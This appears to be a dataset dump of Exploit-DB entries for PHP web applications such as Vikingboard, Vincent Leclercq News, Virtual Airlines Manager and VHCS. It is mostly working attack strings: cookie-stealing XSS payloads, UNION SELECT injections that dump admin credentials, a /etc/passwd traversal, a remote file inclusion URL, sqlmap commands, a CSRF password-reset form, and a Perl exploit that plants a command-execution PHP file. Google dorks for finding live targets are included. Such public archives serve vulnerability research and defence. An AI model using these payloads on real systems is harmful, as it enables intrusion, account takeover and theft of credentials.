deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30386
Description: Vikingboard 0.1.2 - 'topic.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25056/info
   
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
   
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/topic.php?t=2&s=0[XSS-CODE]
Exploit-DB #30384
Description: Vikingboard 0.1.2 - 'user.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25056/info
 
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Vikingboard 0.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/viking/user.php?u=2[XSS-CODE]
Exploit-DB #28497
Description: Vikingboard 0.1b - 'help.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-08
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/19916/info

Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 0.1b is vulnerable; other versions may also be affected.

http://www.example.com/help.php?act=[XSS]
Exploit-DB #28498
Description: Vikingboard 0.1b - 'report.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-08
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/19916/info
 
Vikingboard is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Version 0.1b is vulnerable; other versions may also be affected.

http://www.example.com/report.php?p=[XSS]
Exploit-DB #32422
Description: Vikingboard 0.2 Beta - 'register.php' SQL Column Truncation Unauthorized Access
Type: webapps
Platform: php
Date: 2008-09-25
Author: StAkeR

Exploit:
source: https://www.securityfocus.com/bid/31408/info

Vikingboard is prone to an unauthorized-access vulnerability.

Successfully exploiting this issue can allow attackers to register and log in as existing users.

Vikingboard 0.2 Beta is vulnerable; other versions may also be affected.

The following example account registration data is available:

Username: [username][whitespace characters]NULL
Password: [password]
E-Mail: [E-Mail]
Exploit-DB #6564
Description: Vikingboard 0.2 Beta - 'task' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-25
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 #######################################################################
 #  [ Vikingboard <= 0.2 Beta ]   Local File Inclusion Vulnerability   #
 #######################################################################
 #
 # Script: "Vikingboard is a PHP-based discussion forum..."
 #
 # Script site: http://vikingboard.com/
 # Download: http://sourceforge.net/projects/vboard/
 #
 # Vuln: 
 # http://site.com/[Vikingboard_0.2_Beta]/upload/index.php?act=task&task=./../../../../../../../etc/passwd%00
 #
 #
 # Bug: ./Vikingboard_0.2_Beta/upload/index.php (lines: 81-91)
 #
 # ...
 # 81:		switch(ifsetor($_GET['act'], false))
 # 82:		{
 #		 ...
 # 88:		 case 'task':
 # 89:		 require('./inc/lib/task_loader.php');				// (1)
 # 90:		 load_task();							// (2)	
 # 91:		 break;
 # ... 			    
 #
 #
 # Bug: ./Vikingboard_0.2_Beta/upload/inc/lib/task_loader.php (lines: 19-44)
 #
 # ...
 # 19: 		function load_task()
 # 20: 		{
 #		   ...
 # 27:		   if (!include("inc/tasks/task_{$_GET['task']}.php"))  	// (3) LFI
 # 28:		   {
 # 29:		      //	Stop the script if the task does not exist
 # 30:		      die();
 # 31:		   }
 #		....
 # 44:		}
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-25]
Exploit-DB #6569
Description: Vikingboard 0.2 Beta - SQL Column Truncation
Type: webapps
Platform: php
Date: 2008-09-25
Author: StAkeR

Exploit:
---------------------------------------------------------------------
 Vikingboard <= 0.2 Beta SQL Column Truncation
---------------------------------------------------------------------
 Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
 Discovered On: 25/09/2008
---------------------------------------------------------------------
 You Can Register An User\Admin That Already Exists!
---------------------------------------------------------------------
 URL: upload/register.php
 
 Username: [username]                                            NULL
 Password: [password]
 E-Mail:   [E-Mail]
---------------------------------------------------------------------
 URL: upload/login.php
 
 Username: [username]
 Password: [password]
---------------------------------------------------------------------

# milw0rm.com [2008-09-25]
Exploit-DB #28146
Description: Vincent Leclercq News 5.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-07-03
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/18775/info

Vincent Leclercq News is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before displaying it to users of the application.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/divers.php?action=commentaires&commentaires=&id=1&disabled=%3C/textarea%3E%3Cscript%3Ealert(8)%3C/script%3E http://[...]/divers.php?action=envoyer&id=1%22%3Cscript%3Ealert(9)%3C/script%3E
Exploit-DB #28136
Description: Vincent-Leclercq News 5.2 - 'Diver.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-23
Author: DarkFig

Exploit:
source: https://www.securityfocus.com/bid/18729/info

Vincent-Leclercq News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

An attacker may be able to exploit this issue to modify the logic of SQL queries. Successful exploits may allow the attacker to compromise the software, retrieve information, or modify data; other consequences are possible as well.

#!/usr/bin/perl 
# 
# VulnScr: News version 5.2 and prior 
# E-mail: contact@vincent-leclercq.com 
# Web: www.vincent-leclercq.com # 
# Date: Thu June 29 12:01 2006 
# Credits: DarkFig (gmdarkfig@gmail.com) 
# Vuln: XSS, Full Path Disclosure, SQL Injection 
# Advisorie: http://www.acid-root.new.fr/advisories/news52.txt (french =)) 
# Exploit: Create a php file (system($cmd)) in a dir ((smileys)chmoded 777 during the installation of the script) 
# # # +-----------------------------------------+ 
# | News <= 5.2 SQL Injection (cmd exec) ---| 
# +-----------------------------------------+ 
# [+]Full path: OK [/home/www/victim/news52] 
# [+]Prefix: OK [news_] # [+]File exist: OK 
# [localhost]uname -a # Linux ws6 2.6.16-SE-k8 
#6 SMP PREEMPT Thu May 11 18:19:55 UTC 2006 i686 GNU/Linux 
# [localhost]exit 
# +-----------------------------------------+ 
# use LWP::UserAgent; use LWP::Simple; use Getopt::Long; 
# # Argvs # header(); if(!$ARGV[1]){ &usageis; } GetOptions( 'host=s' => \$host, 'path=s' => \$path, ); if($host =~ /http:\/\/(.*)/){ $host = $1; } 
# # Vars # my $helurl = 'http://'.$host.$path; my $uagent = 'Perlnamigator'; my $timeut = '30'; my $errr00 = "[-]Can't connect to the host\n"; my $errr01 = "[-]Can't get the full path of the website\n"; my $errr02 = "[-]Can't get the table prefix\n"; my $errr03 = "[-]The php file doesn't exist\n"; if($cmd eq "exit"){ &the_end; } $req5 = get($helurl.'admin/smileys/hello.php?cmd='.$cmd) or print $errr00 and the_end(); print $req5, "\n"; } sub usageis { print "| Usage: -host localhost -path /news/ ---| \n"; &the_end; } sub the_end { print "+-----------------------------------------+\n"; exit; } sub header { print "\n+-----------------------------------------+\n"; print "| News <= 5.2 SQL Injection (cmd exec) ---|\n"; print "+-----------------------------------------+\n"; }
Exploit-DB #41123
Description: Vine VideoSite Creator Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Vine VideoSite Creator Script
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-vinezone-vine-videosite-creator-script/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #29744
Description: Viper Web Portal 0.1 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-15
Author: Abdus Samad

Exploit:
source: https://www.securityfocus.com/bid/22979/info

Viper Web Portal is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/index.php?modpath=http://www.example2.com/evilscript?
Exploit-DB #41263
Description: Viral Fun Facts Sharing Script 1.1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy DamnFacts – Viral Fun Facts Sharing Script v1.1.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-damnfacts-viral-fun-facts-sharing-script/
# Demo: http://damnfacts.flippydemos.com/
# Version: 1.1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/fact.php?id=[SQL]
# -9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,5,6,7,8,9,10,11,12+from+admin-- -
# # # # #
Exploit-DB #41119
Description: Viral Image & Video Sharing GagZone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Viral Image & Video Sharing GagZone Script 
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-gagzone/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #41122
Description: Viral Image Sharing Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Viral Image Sharing Script
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-imagegags-viral-image-sharing-script/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #41260
Description: Viral Pictures and Video Script 2.0.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-02-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Flippy HotViral – Viral Pictures and Video Script v2.0.0 - SQL Injection
# Google Dork: N/A
# Date: 06.02.2017
# Vendor Homepage: https://www.flippyscripts.com/
# Software Buy: https://www.flippyscripts.com/flippy-hotviral-viral-funny-pictures-and-video-script/
# Demo: http://hotviral.flippyscripts.com/
# Version: 2.0.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/picture.php?id=[SQL]
# 7-9999+/*!50000union*/+select+1,2,concat_ws(0x3a,adminuser,0x3a,adminpassword),4,5,6,7,8+from+admin-- -
#
# http://localhost/[PATH]/video.php?id=[SQL]
# 7-9999+/*!50000union*/+select+1,concat_ws(0x3a,adminuser,0x3a,adminpassword),3,4,5,6,7,8+from+admin-- -
# # # # #
Exploit-DB #48567
Description: Virtual Airlines Manager 2.6.2 - 'airport' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-09
Author: Kostadin Tonev

Exploit:
# Exploit Title: Virtual Airlines Manager 2.6.2 - 'airport' SQL Injection
# Google Dork: N/A
# Date: 2020-06-08
# Exploit Author: Kostadin Tonev
# Vendor Homepage: http://virtualairlinesmanager.net
# Software Link: https://virtualairlinesmanager.net/index.php/vam-releases/
# Version: 2.6.2
# Tested on: Linux Mint
# CVE : N/A

.     .       .  .   . .   .   . .    +  .
  .     .  :     .    .. :. .___---------___.
       .  .   .    .  :.:. _".^ .^ ^.  '.. :"-_. .
    .  :       .  .  .:../:            . .^  :.:\.
        .   . :: +. :.:/: .   .    .        . . .:\
 .  :    .     . _ :::/:               .  ^ .  . .:\
  .. . .   . - : :.:./.                        .  .:\
  .      .     . :..|:                    .  .  ^. .:|
    .       . : : ..||        .                . . !:|
  .     . . . ::. ::\(                           . :)/
 .   .     : . : .:.|. ######              .#######::|
  :.. .  :-  : .:  ::|.#######           ..########:|
 .  .  .  ..  .  .. :\ ########          :######## :/
  .        .+ :: : -.:\ ########       . ########.:/
    .  .+   . . . . :.:\. #######       #######..:/
      :: . . . . ::.:..:.\           .   .   ..:/
   .   .   .  .. :  -::::.\.       | |     . .:/
      .  :  .  .  .-:.":.::.\             ..:/
 .      -.   . . . .: .:::.:.\.           .:/
.   .   .  :      : ....::_:..:\   ___.  :/
   .   .  .   .:. .. .  .: :.:.:\       :/
     +   .   .   : . ::. :.:. .:.|\  .:/|
     .         +   .  .  ...:: ..|  --.:|
.      . . .   .  .  . ... :..:.."(  ..)"
 .   .       .      :  .   .: ::/  .  .::\



[1] Vulnerable GET parameter: notam_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=notam&notam_id=[SQLi]

[2] Vulnerable GET parameter: airport=[SQLi]
[PoC] http://localhost/vam/index.php?page=airport_info&airport=[SQLi]

[3] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[4] Vulnerable GET parameter: plane_location=[SQLi]
[PoC] http://localhost/vam/index.php?page=fleet_public&plane_location=[SQLi]

[5] Vulnerable GET parameter: hub_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=hub&hub_id=[SQLi]

[6] Vulnerable GET parameter: pilot_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=pilot_details&pilot_id=[SQLi]

[7] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[8] Vulnerable GET parameter: event_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=event&event_id=[SQLi]

[9] Vulnerable GET parameter: tour_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=tour_detail&tour_id=[SQLi]
Exploit-DB #48574
Description: Virtual Airlines Manager 2.6.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-10
Author: Mosaaed

Exploit:
# Exploit Title: Virtual Airlines Manager 2.6.2 - 'id' SQL Injection
# Date: 2020-06-09
# Exploit Author: Mosaaed
# Vendor Homepage: http://virtualairlinesmanager.net/
# Dork: N/A
# Affected Version: 2.6.2
# Tested on: Ubuntu
# CVE : N/A
 
-------------------
xss

http://localhost/vam/index.php?page=plane_info_public&registry_id=“><<script>alert(document.cookie);//<</script> 
http://localhost/vam/index.php?page=fleet_public&plane_icao=1“><<script>alert(document.cookie);//<</script>
http://localhost/vam/index.php?page=hub&hub_id=1“><<script>alert(document.cookie);//<</script>
http://localhost/vam/index.php?page=fleet_public&plane_location=1“><<script>alert(document.cookie);//<</script>
http://localhost/vam/index.php?page=event&event_id=1“><<script>alert(document.cookie);//<</script>
-------------------------
SQL Injection
sqlmap -u "http://localhost/vam/index.php?page=manual_flight_details&ID=10" -p ID --dbs
sqlmap -u "http://localhost/vam/index.php?page=plane_info_public&registry_id=10" -p registry_id --db
sqlmap -u "http://localhost/vam/index.php?page=fleet_public&plane_icao=1" -p plane_icao --dbs
sqlmap -u "http://localhost/vam/index.php?page=hub&hub_id=1" -p hub_id --dbs
sqlmap -u "http://localhost/vam/index.php?page=fleet_public&plane_location=1" -p plane_location --dbs
Exploit-DB #50634
Description: Virtual Airlines Manager 2.6.2 - 'multiple' SQL Injection
Type: webapps
Platform: php
Date: 2022-01-05
Author: Milad karimi

Exploit:
# Exploit Title: Virtual Airlines Manager 2.6.2 - 'multiple' SQL Injection
# Google Dork: Powered by Virtual Airlines Manager [v2.6.2]
# Date: 2021-12-30
# Exploit Author: Milad Karimi
# Vendor Homepage: http://virtualairlinesmanager.net
# Software Link: https://virtualairlinesmanager.net/index.php/vam-releases/
# Version: 2.6.2
# Tested on: Ubuntu 19.04

[1] Vulnerable GET parameter: notam_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=notam&notam_id=[SQLi]

[2] Vulnerable GET parameter: airport=[SQLi]
[PoC] http://localhost/vam/index.php?page=airport_info&airport=[SQLi]

[3] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[4] Vulnerable GET parameter: plane_location=[SQLi]
[PoC] http://localhost/vam/index.php?page=fleet_public&plane_location=[SQLi]

[5] Vulnerable GET parameter: hub_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=hub&hub_id=[SQLi]

[6] Vulnerable GET parameter: pilot_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=pilot_details&pilot_id=[SQLi]

[7] Vulnerable GET parameter: registry_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=plane_info_public&registry_id=[SQLi]

[8] Vulnerable GET parameter: event_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=event&event_id=[SQLi]

[9] Vulnerable GET parameter: tour_id=[SQLi]
[PoC] http://localhost/vam/index.php?page=tour_detail&tour_id=[SQLi]
Exploit-DB #48562
Description: Virtual Airlines Manager 2.6.2 - 'notam' SQL Injection
Type: webapps
Platform: php
Date: 2020-06-08
Author: Pankaj Kumar Thakur

Exploit:
# Exploit Title: Virtual Airlines Manager 2.6.2 - 'notam' SQL Injection
# Date: 2020-06-07
# Exploit Author: Pankaj Kumar Thakur
# Vendor Homepage: http://virtualairlinesmanager.net/
# Dork: inurl:notam_id=
# Affected Version: 2.6.2
# Tested on: Ubuntu
# CVE : N/A

Vulnerable parameter 
-------------------
notam_id=%27%27

Id parameter's value is going into sql query directly!

Proof of concept
---------------
https://localhost:8080/vam/index.php?page=notam&notam_id=11%27%27


Submitted: Jun 1 2020
Fixed: Jun 5 2020
Acknowledgement : https://ibb.co/Y3WYdFN
Exploit-DB #48715
Description: Virtual Airlines Manager 2.6.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-07-26
Author: Peter Blue

Exploit:
# Exploit Title: Virtual Airlines Manager 2.6.2 - Persistent Cross-Site Scripting
# Google Dork:  inurl:"/vam/index_vam_op.php"
# Date: 2020-06-29
# Exploit Author: Peter Blue
# Vendor Homepage: https://virtualairlinesmanager.net
# Software Link: https://virtualairlinesmanager.net
# Version: 2.6.2
# Tested on: Linux (Fedora 23), MariaDB, PHP 5.6.29, Apache
# CVE: N/A


This project looks nice but lacks a lot of input filtering.

This example allows a logged-in user to inject JavaScript code, and this
case steal a session ID, but other exploits could be injected.

This exploit example assumes you have installed VAM 2.6.2 on a local server.

Steps :-

1. Log on. There is an admin account: Callsign: vam100, [CREDENTIAL_REDACTED]

2. Click "Pilot Actions"

3. Click "Internal Mail"

4. Click New Message

5. In "Subject" enter XSS <script>alert(document.cookie);//<</script>

6. in "Message" type anything

7. Click "Send"

8. When the page refreshes your PHP session ID will show in an alert box

It is also quite possible to inject raw HTML into the subject.

A bit of Google Dorking revealed many websites running this, some were
dead, some deserted and a few were live.
Exploit-DB #29521
Description: Virtual Host Administrator 0.1 - Modules_Dir Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-24
Author: Dr Max Virus

Exploit:
source: https://www.securityfocus.com/bid/22218/info

Virtual Host Administrator is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects version 0.1; other versions may also be vulnerable. 

http://www.example.com/modules/mail/main.php?MODULES_DIR=shell.txt
Exploit-DB #27204
Description: Virtual Hosting Control System 2.2/2.4 - 'change_password.php' Current Password
Type: webapps
Platform: php
Date: 2006-02-13
Author: Roman Medina-Heigl Hernandez

Exploit:
source: https://www.securityfocus.com/bid/16600/info

Virtual Hosting Control System (VHCS) is prone to multiple input and access vulnerabilities.

VHCS is prone to an HTML-injection vulnerability and an authentication-bypass vulnerability. These issues could be exploited to gain administrative access to the application; other attacks are also possible.

</form><form name="dsr" method="post" action="ch%61nge_password.php"><input name="pass" value="hackme"><input name="pass_rep" value="hackme"><input name="uaction" value="updt_pass"></form><script>document.dsr.submit()</script>
Exploit-DB #26559
Description: Virtual Hosting Control System 2.2/2.4 - Error Message Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-22
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/15538/info

Virtual Hosting Control System is prone to cross-site scripting attacks.

The vulnerability arises when error messages are rendered and could let an attacker inject hostile HTML and script code into the browser session of another user in the context of the site hosting the application. This could allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/dev/inputvalidation%3Cscript%3Ealert(window.location.hash)%3B%3C/script%3E#XSS